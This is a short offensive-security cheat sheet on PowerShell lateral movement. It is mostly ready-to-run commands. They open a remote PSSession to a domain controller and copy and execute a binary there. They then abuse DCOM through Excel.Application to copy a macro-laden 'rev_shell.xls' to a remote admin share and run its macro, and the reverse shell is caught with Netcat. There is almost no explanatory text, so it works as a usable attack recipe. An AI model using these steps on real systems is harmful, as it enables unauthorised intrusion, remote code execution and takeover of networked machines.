Powershell Lateral Movement

PSsession

$dcsesh = New-PSSession -Computer SANDBOXDC
Invoke-Command -Session $dcsesh -ScriptBlock {ipconfig}
Copy-Item "C:\Users\Public\whoami.exe" -Destination "C:\Users\Public\" -ToSession $dcsesh
Invoke-Command -Session $dcsesh -ScriptBlock {C:\Users\Public\whoami.exe}

(using Excel) Connect and check membership:

$com = [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "172.16.246.5"))
$com | Get-Membership
Create macro based on response (looking for Open/Run/Workbooks):
$com = [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "172.16.246.5"))
$LocalPath = "C:\tools\rev_shell.xls"
$RemotePath = "\\172.16.246.5\c$\rev_shell.xls"
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)
$Path = "\\172.16.246.5\c$\Windows\sysWOW64\config\systemprofile\Desktop"
$temp = [system.io.directory]::createDirectory($Path)
$Workbook = $com.Workbooks.Open("C:\rev_shell.xls")
$com.Run("MyMacro")

Catch it with Netcat